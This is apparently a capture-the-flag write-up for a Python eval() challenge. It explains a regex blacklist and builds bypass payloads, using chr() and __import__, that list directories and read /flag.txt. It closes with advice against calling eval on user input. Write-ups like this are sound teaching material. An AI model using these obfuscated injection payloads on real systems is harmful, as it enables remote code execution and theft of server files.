3v@l
Research
Why eval is dangerous?
- Executes a string as code.
- What more is to be said honestly. (at least for this challenge)
Information Gathering
Taking a look at the HTML in the Inspector section in the Developer Tools we find this hint:
If we break down the regex, which has many parts split by the | (or) operator, we can see what it will and will not match with:
- `0x[0-9A-Fa-f]+`: One or more hexadecimal digits (0–9, A–F, a–f). - `\\u[0-9A-Fa-f]{4}`: Literally \u (the regex has \\u so it matches one backslash + u). Exactly four hex digits. - `%[0-9A-Fa-f]{2}`: Literally %. Exactly two hex digits. - `\.[A-Za-z0-9]{1,3}\b`: Literal dot. 1 to 3 alphanumeric characters. Word boundary. - `[\\\/]`: Matches either a backslash \ or a forward slash /. - `\.\.`: Matches .. (two dots).
Examples of what Matches and Doesn't Match:
- Hex literal: Matches `0xFF`, Doesn't Match `0x` - Unicode escape: Matches `\u0041`, Doesn't Match `\u123` - Percent encoding: Matches `%20`, Doesn't Match `%2` - File extension: Matches `.js`, Doesn't Match `.jpeg` - Double dot: Matches `..`, Doesn't Match `...`
Notice that underscores are also not blacklisted. This will come in handy later...
Creating the Payload
We know we can't use the `ls` command. However, there may still be a way to run a 'list directories' using `os.listdir()`. The problem is that the keyword `os` is also blacklisted.
chr(111)+chr(115)osReason: A trick we can use is through the `chr()` function to evaluate the letters. This outputs `os`, but it is still just a string object.
__import__(chr(111)+chr(115)).listdir()['app.py', 'static', 'templates']Reason: This is equivalent to `__import__('os').listdir()`. It allows us to list the current directory contents.
__import__(chr(111)+chr(115)).listdir(chr(47))['flag.txt', ...]Reason: Now we dig around and find the `flag.txt` file in the `/` directory. We use `chr(47)` to represent the forward slash `/` since it's blacklisted by the regex.
open(chr(47)+'flag.'+chr(116)+'xt').read()[Flag Content]Reason: We need to open and read the file. But remember we are restricted with the regex (`/` is blacklisted along with any 1-3 letters after a dot). So instead we use `chr()` again to thwart the regex blacklist. A more robust solution would be `__import__('builtins').open(chr(47)+'flag.'+chr(116)+'xt').read()`.
Key Takeaways
- Do not use `eval()` on user-supplied input. It leads to Remote Code Execution.
- Blacklists and regex filters are often insufficient to prevent code execution because attackers can obfuscate or build the payloads using built-in functions like `chr()` and dynamic imports.